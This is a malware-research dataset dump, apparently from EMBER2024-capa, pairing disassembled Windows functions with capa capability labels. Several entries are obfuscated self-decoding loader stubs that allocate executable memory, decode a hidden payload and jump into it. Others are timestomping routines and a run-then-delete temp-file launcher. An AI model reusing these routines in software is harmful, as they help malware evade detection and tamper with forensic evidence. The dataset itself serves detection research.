joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7c00453f
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x7c04b118]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x7c0045e9
call edi
mov esi, eax
cmp esi, ebx
je 0x7c00c679
mov dword [0x7c04b118], 1
cmp esi, ebx
je 0x7c00c69a
cmp word [esi], bx
mov eax, esi
je 0x7c004592
add eax, ebp
cmp word [eax], bx
jne 0x7c004584
add eax, ebp
cmp word [eax], bx
jne 0x7c004584
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x7c0045d9
push ebp
call sym.MSVCR70.dll_malloc
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x7c0045d9
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x7c00c6a7
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
cmp eax, 1
jne 0x7c00c6ba
jmp 0x7c004575
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c00c690
mov eax, ebp
mov dword [0x7c04b118], eax
jmp 0x7c0045e9
mov eax, dword [0x7c04b118]
jmp 0x7c0045e9
call edi
mov esi, eax
cmp esi, ebx
je 0x7c00c6c2
jmp 0x7c00457d
push dword [esp + 0x10]
call sym.MSVCR70.dll_free
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x7c0045d5
cmp eax, ebp
je 0x7c00c6c9
cmp eax, ebx
je 0x7c00c6c9
xor eax, eax
jmp 0x7c0045e2
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
je 0x7c00c6c2
cmp byte [esi], bl
je 0x7c00c6e3
inc eax
cmp byte [eax], bl
jne 0x7c00c6d9
inc eax
cmp byte [eax], bl
jne 0x7c00c6d9
sub eax, esi
inc eax
mov ebp, eax
push ebp
call sym.MSVCR70.dll_malloc
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x7c00c6f9
xor edi, edi
jmp 0x7c00c704
push ebp
push esi
push edi
call fcn.7c02f3ad
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, edi
jmp 0x7c0045e2
Function at 0x7c018586
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x7c018594
xor ecx, ecx
jmp 0x7c0185b2
cmp eax, 0x1a
jbe 0x7c01859e
push 0x57
pop eax
pop ebp
ret
add al, 0x40
and byte [ebp + 0xb], 0
lea ecx, [ebp + 8]
mov byte [ebp + 8], al
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x5c
mov eax, dword [ebp + 0xc]
push eax
lea edx, [eax + 4]
push edx
lea edx, [eax + 0xc]
push edx
add eax, 8
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x7c0185d4
pop ebp
jmp dword [sym.imp.kernel32.dll_GetLastError]
xor eax, eax
pop ebp
ret

Function at 0x7c018bc2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x7c018be2
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x7c018c05
test byte [esp + 8], 2
je 0x7c018c05
call sym.MSVCR70.dll__errno
mov dword [eax], 0xd
call sym.MSVCR70.dll___doserrno
mov dword [eax], 5
jmp 0x7c018bde
xor eax, eax
ret

Function at 0x7c018cfd
Capabilities:
Set current directory

Disassembly:
push 0x10
push 0x7c03fc28
call fcn.7c00101f
mov ebx, dword [ebp + 8]
cmp ebx, 1
jl 0x7c018d6c
cmp ebx, 0x1f
jg 0x7c018d6c
push 7
call fcn.7c02f3ad
pop ecx
and dword [ebp - 4], 0
add ebx, 0x40
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], 0x3a
and byte [ebp - 0x1a], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x7c018d44
and dword [ebp - 0x20], 0
jmp 0x7c018d55
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or dword [ebp - 0x20], 0xffffffff
or dword [ebp - 4], 0xffffffff
call fcn.7c018d63
mov eax, dword [ebp - 0x20]
jmp 0x7c018d85
call sym.MSVCR70.dll__errno
mov dword [eax], 0xd
call sym.MSVCR70.dll___doserrno
mov dword [eax], 0xf
or eax, 0xffffffff
call fcn.7c00105a
ret

Function at 0x7c018d8b
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x7c018db8
test byte [esp + 8], 0x80
je 0x7c018da6
and eax, 0xfffffffe
jmp 0x7c018da9
or eax, 1
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x7c018dc9
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x7c0284d7
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x7c04f564]
push ebx
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jne 0x7c028520
call ebp
mov esi, eax
cmp esi, ebx
je 0x7c028506
mov dword [0x7c04f564], 1
jmp 0x7c028525
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c02851b
push 2
pop eax
mov dword [0x7c04f564], eax
jmp 0x7c028520
mov eax, dword [0x7c04f564]
cmp eax, 1
jne 0x7c02857d
cmp esi, ebx
jne 0x7c028538
call ebp
mov esi, eax
cmp esi, ebx
jne 0x7c028538
xor eax, eax
jmp 0x7c028624
cmp word [esi], bx
mov eax, esi
je 0x7c02854d
inc eax
inc eax
cmp word [eax], bx
jne 0x7c02853f
inc eax
inc eax
cmp word [eax], bx
jne 0x7c02853f
sub eax, esi
inc eax
inc eax
mov ebp, eax
push ebp
call sym.MSVCR70.dll_malloc
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x7c028570
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, edi
jmp 0x7c028624
push ebp
push esi
push edi
call fcn.7c02f3ad
add esp, 0xc
jmp 0x7c028562
cmp eax, 2
je 0x7c028586
cmp eax, ebx
jne 0x7c028531
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov ebp, eax
cmp ebp, ebx
je 0x7c028531
cmp byte [ebp], bl
mov esi, ebp
je 0x7c0285bc
push ebx
push ebx
push 0xffffffffffffffff
push esi
push 1
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x7c028531
push esi
add edi, eax
call sym.MSVCR70.dll_strlen
lea esi, [esi + eax + 1]
cmp byte [esi], bl
pop ecx
jne 0x7c028599
inc edi
lea eax, [edi + edi]
push eax
mov dword [esp + 0x18], edi
call sym.MSVCR70.dll_malloc
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x7c028635
cmp byte [ebp], bl
mov edi, ebp
mov esi, eax
je 0x7c028616
mov ecx, dword [esp + 0x14]
mov eax, esi
sub eax, dword [esp + 0x10]
sar eax, 1
sub ecx, eax
push ecx
push esi
push 0xffffffffffffffff
push edi
push 1
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x7c02862b
push edi
call sym.MSVCR70.dll_strlen
push esi
lea edi, [edi + eax + 1]
call sym.MSVCR70.dll_wcslen
cmp byte [edi], bl
pop ecx
pop ecx
lea esi, [esi + eax*2 + 2]
jne 0x7c0285dc
push ebp
mov word [esi], bx
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push dword [esp + 0x10]
call sym.MSVCR70.dll_free
pop ecx
push ebp
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x7c028531
Function at 0x7c02f3ad
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x7c02f3bc
pop dword [ebp - 0x40]
mov eax, 0xfb194c8a
add eax, 0x80e9a732
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x4197c
push 0
mov eax, 0x5925ade3
add eax, 0x22dde2b1
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x5a1c
mov ebx, eax
mov esi, 0xb12174d7
sub esi, 0x351c34d7
add esi, dword [ebp - 0x40]
mov edi, 0xd68a83b9
sub dword [ebp - 0x10], edx
mov edx, dword [esi]
sub dword [ebp - 0xc], 0x324ef7e7
sub edx, edi
xor dword [ebp - 0x34], 0xce6443ef
mov dword [ebx], edx
add dword [ebp - 0x18], edi
add ebx, 0x7dbdae53
add ebx, 0x824251b1
add esi, 0xa3da0eae
sub esi, 0xa3da0eaa
loop 0x7c02f40f
add eax, 0xc6cdd4a2
sub eax, 0xc6cc795f
mov ebx, eax
add eax, 5
mov ecx, 0x49eb7ec7
add ecx, 0x32148139
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x7c03070e
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x7c03072f
lea eax, [ebp - 4]
push eax
call fcn.7c02f3ad
mov eax, dword [ebp - 4]
pop ecx
mov dword [ebp - 8], eax
lea edi, [ebp - 8]
lea eax, [edi + 4]
push eax
call fcn.7c02f3ad
test eax, eax
pop ecx
jne 0x7c030750
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
jmp 0x7c030851
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x30], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x2e], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x2a], cx
mov cx, word [eax + 8]
mov word [ebp - 0x28], cx
mov cx, word [eax + 4]
mov word [ebp - 0x26], cx
mov ax, word [eax]
and word [ebp - 0x22], 0
push esi
mov esi, dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
je 0x7c030842
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c030842
push edi
call fcn.7c02f3ad
test eax, eax
pop ecx
je 0x7c030842
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x30], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x2e], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x2a], cx
mov cx, word [eax + 8]
mov word [ebp - 0x28], cx
mov cx, word [eax + 4]
mov word [ebp - 0x26], cx
mov ax, word [eax]
and word [ebp - 0x22], 0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
je 0x7c030842
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c030842
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sym.MSVCR70.dll__get_osfhandle
pop ecx
push eax
call dword [sym.imp.kernel32.dll_SetFileTime]
test eax, eax
je 0x7c030842
xor eax, eax
jmp 0x7c030850
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
pop esi
pop edi
leave
ret
Function at 0x7c03088b
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x7c0308b2
lea eax, [ebp - 0x30]
push eax
call fcn.7c02f3ad
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
pop ecx
mov dword [ebp - 0x34], eax
lea edi, [ebp - 0x38]
lea eax, [edi + 8]
push eax
call fcn.7c02f3ad
test eax, eax
pop ecx
jne 0x7c0308d3
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
jmp 0x7c0309d4
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x28], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x26], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x22], cx
mov cx, word [eax + 8]
mov word [ebp - 0x20], cx
mov cx, word [eax + 4]
mov word [ebp - 0x1e], cx
mov ax, word [eax]
and word [ebp - 0x1a], 0
push esi
mov esi, dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
je 0x7c0309c5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c0309c5
push edi
call fcn.7c02f3ad
test eax, eax
pop ecx
je 0x7c0309c5
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x28], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x26], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x22], cx
mov cx, word [eax + 8]
mov word [ebp - 0x20], cx
mov cx, word [eax + 4]
mov word [ebp - 0x1e], cx
mov ax, word [eax]
and word [ebp - 0x1a], 0
mov word [ebp - 0x1c], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
je 0x7c0309c5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c0309c5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call sym.MSVCR70.dll__get_osfhandle
pop ecx
push eax
call dword [sym.imp.kernel32.dll_SetFileTime]
test eax, eax
je 0x7c0309c5
xor eax, eax
jmp 0x7c0309d3
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
pop esi
pop edi
leave
ret
Function at 0x10004810
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000481f
pop dword [ebp - 0x24]
mov eax, 0xc9076c13
sub eax, 0xb90723f4
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3b7cf
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x6b9834
sub ecx, 0x6b4d2e
xor edi, edi
add edi, eax
mov ebx, 0x10046c00
add ebx, dword [ebp - 0x24]
mov esi, 0xcb57a026
add esi, 0xd6c0f278
sub dword [ebp - 4], 0xffeddf22
mov edx, dword [ebx]
mov dword [ebp - 0x10], 0x5113b92e
xor edx, esi
sub dword [ebp - 0x10], 0x81a5e344
mov dword [edi], edx
xor dword [ebp - 0x1c], 0xb8138dc9
add edi, 0x686623c3
sub edi, 0x686623bf
add ebx, 0xc2bc7f95
sub ebx, 0xc2bc7f91
loop 0x10004875
add eax, 0x38f671bb
sub eax, 0x38f552d0
mov ebx, eax
add eax, 0x98fc6612
sub eax, 0x98fc660d
mov ecx, 0xf4aabfbb
sub ecx, 0xe4aabfbb
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x10004c30
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
xor ecx, ecx
xor edx, edx
mov esi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
mov cl, byte [esi + 0x100]
mov dl, byte [esi + 0x101]
test ebp, ebp
je 0x10004c7f
inc ecx
mov ebx, 0xff
and ecx, ebx
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, ebx
xor ebx, ebx
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov bl, byte [edi]
mov al, byte [esi + eax]
xor bl, al
mov byte [edi], bl
inc edi
dec ebp
jne 0x10004c54
pop ebp
pop edi
lea eax, [esi + 0x100]
pop esi
mov byte [eax], cl
pop ebx
mov byte [eax + 1], dl
ret 0xc

Function at 0x10004c91
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov eax, 0x3020100
push esi
mov ecx, 0x40
mov esi, dword [esp + 0xc]
push edi
mov edx, esi
push ebp
mov dword [edx], eax
add edx, 4
add eax, 0x4040404
dec ecx
jne 0x10004ca5
xor ecx, ecx
xor edi, edi
mov ebp, dword [esp + 0x1c]
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], cl
xor ebx, ebx
xor edx, edx
xor eax, eax
mov dl, byte [edi + esi]
mov al, byte [ebp + ecx]
add bl, al
inc ecx
add bl, dl
inc edi
mov al, byte [ebx + esi]
mov byte [edi + esi - 1], al
cmp dword [esp + 0x18], ecx
mov byte [ebx + esi], dl
jne 0x10004ceb
xor ecx, ecx
cmp edi, 0x100
jb 0x10004cc8
pop ebp
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x100055a0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
cmp eax, 1
je 0x100055ec
jle 0x100055e7
cmp eax, 3
jg 0x100055e7
push esi
mov esi, dword [ecx]
test esi, esi
je 0x100055de
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
sub ecx, eax
push edi
sub edx, eax
mov edi, dword [ecx + eax]
mov ebx, dword [eax]
xor edi, ebx
mov dword [edx + eax], edi
add eax, 4
dec esi
jne 0x100055cc
pop edi
pop ebx
mov eax, 1
pop esi
ret 0x10
xor eax, eax
ret 0x10
mov eax, dword [ecx + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call fcn.10004810
mov eax, 1
ret 0x10
Function at 0x700eed6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x700eee5
pop dword [ebp - 0x2c]
mov eax, 0x700eee5
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x2a4946a
add dword [ebp - 0x3c], 0x4badb0e1
mov dword [ebp - 0x38], 0xe01e043d
add dword [ebp - 0x38], 0x52154808
mov dword [ebp - 0x34], 0xd6ee313
add dword [ebp - 0x34], 0x3edd611b
mov dword [ebp - 0x30], 0x7e1b0055
add dword [ebp - 0x30], 0x81e4ffab
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xd1806036
add eax, 0x3580cffa
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xe28be10d
sub dword [ebp - 0x3c], 0x6e1977b7
mov dword [ebp - 0x38], 0xda608923
add dword [ebp - 0x38], 0x670bd852
mov dword [ebp - 0x34], 0x9ef6d65a
sub dword [ebp - 0x34], 0x3b8769ee
mov dword [ebp - 0x30], 0xc9249f3d
add dword [ebp - 0x30], 0x36db60c3
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38116
push 0
call eax
mov ecx, 0xf02d3d5d
sub ecx, 0xf02cff4b
xor edx, edx
add edx, eax
mov ebx, 0x5463fd1c
sub ebx, 0x4d61fb1c
add ebx, dword [ebp - 0x2c]
mov edi, 0x30d14e64
xor dword [ebp - 0x24], 0xd5a4c935
mov esi, dword [ebx]
xor dword [ebp - 8], eax
sub esi, edi
add dword [ebp - 0x1c], 0x42aae2a9
mov dword [edx], esi
sub dword [ebp - 0x24], 0xafa4feea
add edx, 4
add ebx, 0x512a802f
sub ebx, 0x512a802b
loop 0x700eff9
add eax, 0x15f42bc1
add eax, 0xea0cbf5a
mov ebx, eax
add eax, 0xa4b2194c
add eax, 0x5b4de6b9
mov ecx, 0x9b805ff4
add ecx, 0x6b7fa00c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4167bf
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x46408c
call fcn.00402073
push eax
push str.Temp
call fcn.0043a52a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402ef0
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fb8
lea ecx, [ebp - 0x84]
call fcn.00401fb8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x138]
call fcn.0040efa4
lea ecx, [ebp - 0x138]
call fcn.004169fc
test al, al
je 0x4168f0
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.00416a0c
lea ecx, [ebp - 0x138]
call fcn.0040ef55
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401f8b
movaps xmm0, xmmword [0x46b1a0]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x464074
mov edi, 0x473578
setne bl
cmp dword [ebp - 0x1c], 0
je 0x4168da
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x70
mov ecx, edi
call fcn.00404a81
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp bl, 1
jne 0x41690b
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x6e
mov ecx, edi
jmp 0x416906
sub esp, 0x18
mov ecx, esp
push 0x464074
call fcn.00402073
push 0x6f
mov ecx, 0x473578
call fcn.00404a81
lea ecx, [ebp - 0x138]
call fcn.0040e77b
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp + 8]
call fcn.00401fb8
lea ecx, [ebp + 0x20]
call fcn.00401fb8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4191f3
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41922b
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x419249
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41925a
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x419295
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4192e6
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4192b6
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x4192e6
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x4192b6
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4192f7
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ee4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41932f
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41934d
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret